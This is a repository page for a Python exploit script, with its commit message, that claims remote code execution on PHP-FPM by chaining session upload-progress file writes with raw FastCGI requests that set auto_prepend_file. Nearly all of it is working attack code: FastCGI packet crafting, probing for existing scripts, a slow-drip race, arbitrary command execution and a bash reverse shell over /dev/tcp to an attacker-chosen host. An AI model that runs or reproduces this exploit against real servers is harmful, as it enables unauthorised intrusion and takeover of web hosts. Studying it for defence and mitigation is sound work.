New exploit at fcgi/exploit_fcgi.py combines the session upload progress write primitive (CVE-2026-109618/109619) with direct FastCGI access to PHP-FPM. A slow-drip multipart upload holds one FPM worker in the multipart parser while a second FastCGI request includes the poisoned session file via auto_prepend_file. Works on default PHP configuration, no LFI, no framework, no libraries. security.limit_extensions does not block auto_prepend_file inclusion. php_admin_value in pool config does not block PHP_VALUE from raw FastCGI. Tested and confirmed RCE on: PHP 8.3.6 (local, pre-patch) PHP 8.3.35 (Docker, pre-patch) PHP 8.3.36 (Docker, patched) PHP 8.4.27 (Docker, patched) Mitigated by session.upload_progress.enabled=0 or blocking FPM access. Also includes nolfi/ exploit (served save_path + pathinfo routing) from previous work, and updated README with mitigation matrix for all vectors.
567 lines
19 KiB
Python
567 lines
19 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
|
|
|
|
Combines the PHP session upload progress write primitive with direct
|
|
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
|
|
special PHP configuration needed.
|
|
|
|
Attack chain:
|
|
1. FastCGI multipart POST to any .php file on the target FPM pool:
|
|
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
|
|
<save_path>/sess_<SID>. The request body is dripped slowly via
|
|
FastCGI STDIN so the session file persists for seconds (the
|
|
multipart parser blocks until STDIN EOF).
|
|
|
|
2. While worker A is blocked on our slow drip, a second FastCGI
|
|
request goes to worker B:
|
|
SCRIPT_FILENAME = <same .php file>
|
|
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
|
|
PHP includes the session file before running the script.
|
|
Our PHP code executes.
|
|
|
|
Why this works on default config:
|
|
- session.upload_progress.enabled=1 (default)
|
|
- session.save_path=/tmp (common default)
|
|
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
|
|
- security.limit_extensions only restricts SCRIPT_FILENAME, not
|
|
files loaded via auto_prepend_file
|
|
- No application vulnerability needed
|
|
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
|
|
|
|
Preconditions:
|
|
- Network access to PHP-FPM (TCP socket or unix socket)
|
|
- At least one .php file exists on the server
|
|
- session.upload_progress.enabled=1 (default)
|
|
- pm.max_children >= 2 (default)
|
|
|
|
When is FPM reachable:
|
|
- Docker: official PHP-FPM images listen on TCP 9000
|
|
- Kubernetes: FPM pods addressable from adjacent pods
|
|
- SSRF: another app on the same host can reach FPM
|
|
- Same-host: unix socket /run/php/php-fpm.sock
|
|
- Exposed port: firewall misconfiguration
|
|
|
|
Usage:
|
|
# Direct FastCGI (drip race, most reliable)
|
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
|
|
|
# Specify PHP file and session path
|
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
|
--script-file /var/www/html/index.php \\
|
|
--session-path /tmp --cmd 'id'
|
|
|
|
# Unix socket
|
|
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
|
|
|
# HTTP poison + FastCGI execute (when FPM not directly reachable
|
|
# for uploads, but reachable for execution)
|
|
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
|
|
|
|
# Reverse shell
|
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
|
--lhost 10.0.0.1 --lport 4444
|
|
"""
|
|
|
|
import argparse
|
|
import base64
|
|
import os
|
|
import re
|
|
import socket
|
|
import struct
|
|
import sys
|
|
import threading
|
|
import time
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
# ── FastCGI protocol ──────────────────────────────────────────────────
|
|
|
|
FCGI_VERSION_1 = 1
|
|
FCGI_BEGIN_REQUEST = 1
|
|
FCGI_END_REQUEST = 3
|
|
FCGI_PARAMS = 4
|
|
FCGI_STDIN = 5
|
|
FCGI_STDOUT = 6
|
|
FCGI_STDERR = 7
|
|
FCGI_RESPONDER = 1
|
|
|
|
|
|
def fcgi_record(rtype, request_id, content):
|
|
clen = len(content)
|
|
pad = (8 - (clen % 8)) % 8
|
|
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
|
|
request_id, clen, pad)
|
|
+ content + b"\x00" * pad)
|
|
|
|
|
|
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
|
|
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
|
|
struct.pack(">HBxxxxx", role, flags))
|
|
|
|
|
|
def fcgi_nv(name, value):
|
|
nlen = len(name)
|
|
vlen = len(value)
|
|
out = b""
|
|
if nlen < 128:
|
|
out += struct.pack("B", nlen)
|
|
else:
|
|
out += struct.pack(">I", nlen | 0x80000000)
|
|
if vlen < 128:
|
|
out += struct.pack("B", vlen)
|
|
else:
|
|
out += struct.pack(">I", vlen | 0x80000000)
|
|
return out + name + value
|
|
|
|
|
|
def fcgi_params(request_id, params_dict):
|
|
body = b""
|
|
for k, v in params_dict.items():
|
|
body += fcgi_nv(k.encode(), v.encode())
|
|
return (fcgi_record(FCGI_PARAMS, request_id, body)
|
|
+ fcgi_record(FCGI_PARAMS, request_id, b""))
|
|
|
|
|
|
def fcgi_stdin_eof(request_id):
|
|
return fcgi_record(FCGI_STDIN, request_id, b"")
|
|
|
|
|
|
def fcgi_parse_stdout(data):
|
|
stdout_data = b""
|
|
stderr_data = b""
|
|
pos = 0
|
|
while pos + 8 <= len(data):
|
|
_, rtype, _, clen, pad = struct.unpack(
|
|
">BBHHBx", data[pos:pos+8])
|
|
content = data[pos+8:pos+8+clen]
|
|
pos += 8 + clen + pad
|
|
if rtype == FCGI_STDOUT:
|
|
stdout_data += content
|
|
elif rtype == FCGI_STDERR:
|
|
stderr_data += content
|
|
elif rtype == FCGI_END_REQUEST:
|
|
break
|
|
return stdout_data, stderr_data
|
|
|
|
|
|
# ── FPM connection ────────────────────────────────────────────────────
|
|
|
|
def fpm_connect(fpm_addr, timeout=10):
|
|
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
|
|
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect(fpm_addr)
|
|
return sock
|
|
if ":" in fpm_addr:
|
|
host, port = fpm_addr.rsplit(":", 1)
|
|
port = int(port)
|
|
else:
|
|
host = fpm_addr
|
|
port = 9000
|
|
return socket.create_connection((host, port), timeout=timeout)
|
|
|
|
|
|
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
|
|
"""Send GET request to FPM with auto_prepend_file."""
|
|
params = {
|
|
"SCRIPT_FILENAME": script_filename,
|
|
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
|
|
"REQUEST_METHOD": "GET",
|
|
"SERVER_SOFTWARE": "go / fcgiclient",
|
|
"REMOTE_ADDR": "127.0.0.1",
|
|
"SERVER_ADDR": "127.0.0.1",
|
|
"SERVER_PORT": "80",
|
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
|
"CONTENT_TYPE": "",
|
|
"CONTENT_LENGTH": "0",
|
|
"DOCUMENT_ROOT": os.path.dirname(script_filename),
|
|
"REQUEST_URI": "/" + os.path.basename(script_filename),
|
|
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
|
|
}
|
|
|
|
request_id = 1
|
|
payload = fcgi_begin_request(request_id)
|
|
payload += fcgi_params(request_id, params)
|
|
payload += fcgi_stdin_eof(request_id)
|
|
|
|
sock = fpm_connect(fpm_addr, timeout)
|
|
sock.sendall(payload)
|
|
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(65536)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
sock.close()
|
|
|
|
stdout_data, stderr_data = fcgi_parse_stdout(resp)
|
|
if b"\r\n\r\n" in stdout_data:
|
|
_, body = stdout_data.split(b"\r\n\r\n", 1)
|
|
return body, stderr_data
|
|
return stdout_data, stderr_data
|
|
|
|
|
|
# ── Multipart helpers ─────────────────────────────────────────────────
|
|
|
|
def mp_field(bnd, name, value):
|
|
return (b"--" + bnd + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
|
b"\r\n" + value + b"\r\n")
|
|
|
|
|
|
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
|
|
|
|
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
|
|
session_paths, marker, drip_time=10,
|
|
timeout=30):
|
|
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
|
|
|
|
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
|
|
multipart body contains a file upload whose content is dripped byte
|
|
by byte, keeping the FPM worker in the multipart parser (which keeps
|
|
the session file on disk) for the entire drip_time.
|
|
|
|
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
|
|
pointing to the session file, racing to include it while worker A
|
|
holds it open.
|
|
"""
|
|
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
|
|
found = {"body": None, "path": None}
|
|
|
|
# Build the multipart body prefix: progress field + file header
|
|
body_prefix = b""
|
|
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
|
body_prefix += (
|
|
b"--" + bnd + b"\r\n"
|
|
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
|
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
)
|
|
|
|
# The suffix that closes the file part and the multipart
|
|
body_suffix = b"\r\n--" + bnd + b"--\r\n"
|
|
|
|
# Calculate total Content-Length (we need to declare it upfront)
|
|
# The file content will be dripped: we'll send drip_bytes of padding
|
|
drip_bytes = 1024 * 64
|
|
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
|
|
|
|
# ── Thread B: racer ──
|
|
def racer():
|
|
deadline = time.time() + timeout
|
|
attempt = 0
|
|
while time.time() < deadline and found["body"] is None:
|
|
for sp in session_paths:
|
|
if found["body"] is not None:
|
|
return
|
|
sess_file = f"{sp}/sess_{sid}"
|
|
attempt += 1
|
|
try:
|
|
body, _ = fpm_execute(fpm_addr, script_file,
|
|
sess_file, timeout=3)
|
|
if marker.encode() in body:
|
|
found["body"] = body
|
|
found["path"] = sess_file
|
|
return
|
|
except Exception:
|
|
pass
|
|
time.sleep(0.005)
|
|
|
|
# ── Thread A: slow drip ──
|
|
fcgi_params_dict = {
|
|
"SCRIPT_FILENAME": script_file,
|
|
"SCRIPT_NAME": "/" + os.path.basename(script_file),
|
|
"REQUEST_METHOD": "POST",
|
|
"SERVER_SOFTWARE": "go / fcgiclient",
|
|
"REMOTE_ADDR": "127.0.0.1",
|
|
"SERVER_ADDR": "127.0.0.1",
|
|
"SERVER_PORT": "80",
|
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
|
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
|
|
"CONTENT_LENGTH": str(total_body),
|
|
"DOCUMENT_ROOT": os.path.dirname(script_file),
|
|
"REQUEST_URI": "/" + os.path.basename(script_file),
|
|
"HTTP_COOKIE": f"PHPSESSID={sid}",
|
|
}
|
|
|
|
request_id = 1
|
|
header = fcgi_begin_request(request_id)
|
|
header += fcgi_params(request_id, fcgi_params_dict)
|
|
|
|
# Send headers + body prefix as first STDIN record
|
|
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
|
|
|
|
sock = fpm_connect(fpm_addr, timeout=timeout)
|
|
sock.sendall(header + first_stdin)
|
|
|
|
# Small delay to let FPM start processing and write session file
|
|
time.sleep(0.2)
|
|
|
|
# Start the racer
|
|
race_thread = threading.Thread(target=racer, daemon=True)
|
|
race_thread.start()
|
|
|
|
# Drip file content slowly
|
|
drip_interval = drip_time / (drip_bytes // 64)
|
|
sent = 0
|
|
while sent < drip_bytes and found["body"] is None:
|
|
chunk = b"\x00" * min(64, drip_bytes - sent)
|
|
try:
|
|
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
|
|
sent += len(chunk)
|
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
break
|
|
time.sleep(drip_interval)
|
|
|
|
# Send suffix + STDIN EOF
|
|
try:
|
|
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
|
|
sock.sendall(fcgi_stdin_eof(request_id))
|
|
except:
|
|
pass
|
|
|
|
# Read response (cleanup)
|
|
sock.settimeout(3)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
except:
|
|
pass
|
|
sock.close()
|
|
|
|
race_thread.join(timeout=5)
|
|
return found["body"], found["path"]
|
|
|
|
|
|
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
|
|
|
|
def _parse_url(url):
|
|
p = urlparse(url)
|
|
tls = p.scheme == "https"
|
|
host = p.hostname or "127.0.0.1"
|
|
port = p.port or (443 if tls else 80)
|
|
path = p.path or "/"
|
|
return host, port, tls, path
|
|
|
|
|
|
def tcp_connect(host, port, tls=False, timeout=30):
|
|
sock = socket.create_connection((host, port), timeout=timeout)
|
|
if tls:
|
|
import ssl
|
|
ctx = ssl.create_default_context()
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
return sock
|
|
|
|
|
|
def recv_all(sock, timeout=10):
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
return resp
|
|
|
|
|
|
def send_chunk(sock, data):
|
|
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
|
|
|
|
|
# ── Script discovery ──────────────────────────────────────────────────
|
|
|
|
SCRIPT_CANDIDATES = [
|
|
"/var/www/html/index.php",
|
|
"/var/www/html/wp-login.php",
|
|
"/var/www/html/wp-cron.php",
|
|
"/var/www/html/xmlrpc.php",
|
|
"/var/www/public/index.php",
|
|
"/var/www/app/public/index.php",
|
|
"/var/www/html/info.php",
|
|
"/srv/http/index.php",
|
|
"/usr/share/phpmyadmin/index.php",
|
|
"/usr/local/lib/php/pearcmd.php",
|
|
]
|
|
|
|
SESSION_PATHS = [
|
|
"/tmp",
|
|
"/tmp/php-sessions",
|
|
"/var/lib/php/sessions",
|
|
"/var/lib/php5/sessions",
|
|
"/var/lib/php/sess",
|
|
]
|
|
|
|
|
|
def find_php_script(fpm_addr, candidates, timeout=3):
|
|
"""Probe FPM to find an existing .php file."""
|
|
for path in candidates:
|
|
try:
|
|
params = {
|
|
"SCRIPT_FILENAME": path,
|
|
"REQUEST_METHOD": "GET",
|
|
"SERVER_SOFTWARE": "probe",
|
|
"REMOTE_ADDR": "127.0.0.1",
|
|
"SERVER_ADDR": "127.0.0.1",
|
|
"SERVER_PORT": "80",
|
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
|
"CONTENT_TYPE": "",
|
|
"CONTENT_LENGTH": "0",
|
|
}
|
|
request_id = 1
|
|
payload = fcgi_begin_request(request_id)
|
|
payload += fcgi_params(request_id, params)
|
|
payload += fcgi_stdin_eof(request_id)
|
|
|
|
sock = fpm_connect(fpm_addr, timeout)
|
|
sock.sendall(payload)
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(65536)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
sock.close()
|
|
|
|
stdout, _ = fcgi_parse_stdout(resp)
|
|
if b"Primary script unknown" not in stdout and len(stdout) > 0:
|
|
return path
|
|
except:
|
|
continue
|
|
return None
|
|
|
|
|
|
# ── main ──────────────────────────────────────────────────────────────
|
|
|
|
def run(args):
|
|
fpm_addr = args.fpm
|
|
sid = args.session_id or os.urandom(16).hex()
|
|
marker = "FCGIRCE"
|
|
|
|
spaths = list(SESSION_PATHS)
|
|
if args.session_path:
|
|
spaths = [args.session_path] + [s for s in spaths
|
|
if s != args.session_path]
|
|
|
|
if args.cmd:
|
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
php_code = (
|
|
f'<?php echo "{marker}:";'
|
|
f'system(base64_decode("{cmd_b64}"));'
|
|
f'echo ":{marker}END"; ?>'
|
|
).encode()
|
|
elif args.lhost and args.lport:
|
|
shell = (f"bash -c 'bash -i >& "
|
|
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
|
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
elif args.trigger_only:
|
|
php_code = (
|
|
f'<?php echo "{marker}:pid=".getmypid().'
|
|
f'"&uname=".php_uname().":{marker}END"; ?>'
|
|
).encode()
|
|
else:
|
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
|
|
file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
print("=" * 65)
|
|
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
|
print("=" * 65)
|
|
print(f" FPM address : {fpm_addr}")
|
|
print(f" Session ID : {sid}")
|
|
print(f" Drip time : {args.drip_time}s")
|
|
if args.cmd:
|
|
print(f" Command : {args.cmd}")
|
|
elif args.lhost:
|
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
else:
|
|
print(f" Trigger-only")
|
|
print()
|
|
|
|
# ── Step 0: find a .php script ──
|
|
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
|
|
script_file = args.script_file
|
|
if not script_file:
|
|
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
|
|
if script_file:
|
|
print(f" Found: {script_file}")
|
|
else:
|
|
print(" [!] No .php file found. Use --script-file.")
|
|
sys.exit(1)
|
|
else:
|
|
print(f" Using: {script_file}")
|
|
|
|
# ── Step 1+2: poison via slow drip + race execution ──
|
|
print(f"[*] Step 1+2: slow-drip poison + race execution...")
|
|
print(f" Dripping multipart body over {args.drip_time}s "
|
|
f"while racing auto_prepend_file...")
|
|
|
|
body, path = poison_and_execute_fcgi(
|
|
fpm_addr, script_file, sid, php_code,
|
|
spaths, marker,
|
|
drip_time=args.drip_time,
|
|
timeout=args.drip_time + 10)
|
|
|
|
if body:
|
|
print(f" [+] RCE confirmed via {path}")
|
|
output = body.decode(errors="replace")
|
|
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
|
|
if m:
|
|
print()
|
|
print(m.group(1))
|
|
else:
|
|
print()
|
|
print(output)
|
|
return True
|
|
else:
|
|
print(" [!] Race did not succeed.")
|
|
print(" Possible causes:")
|
|
print(" - pm.max_children < 2 (need at least 2 workers)")
|
|
print(" - session.upload_progress.enabled = 0")
|
|
print(" - Incorrect session.save_path (try --session-path)")
|
|
print(" - Try increasing --drip-time")
|
|
return False
|
|
|
|
|
|
def main():
|
|
p = argparse.ArgumentParser(
|
|
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
|
p.add_argument("--fpm", required=True,
|
|
help="PHP-FPM address (host:port or /path/to/socket)")
|
|
p.add_argument("-t", "--target",
|
|
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
|
|
p.add_argument("--script-file",
|
|
help="Existing .php file on target (auto-detected)")
|
|
p.add_argument("--session-path",
|
|
help="session.save_path override")
|
|
p.add_argument("--session-id",
|
|
help="Force session ID (default: random)")
|
|
p.add_argument("--cmd", help="Command to execute")
|
|
p.add_argument("--lhost", help="Reverse shell host")
|
|
p.add_argument("--lport", type=int, help="Reverse shell port")
|
|
p.add_argument("--trigger-only", action="store_true",
|
|
help="Verify RCE without running a payload")
|
|
p.add_argument("--drip-time", type=int, default=10,
|
|
help="Seconds to drip the upload body (default: 10)")
|
|
sys.exit(0 if run(p.parse_args()) else 1)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|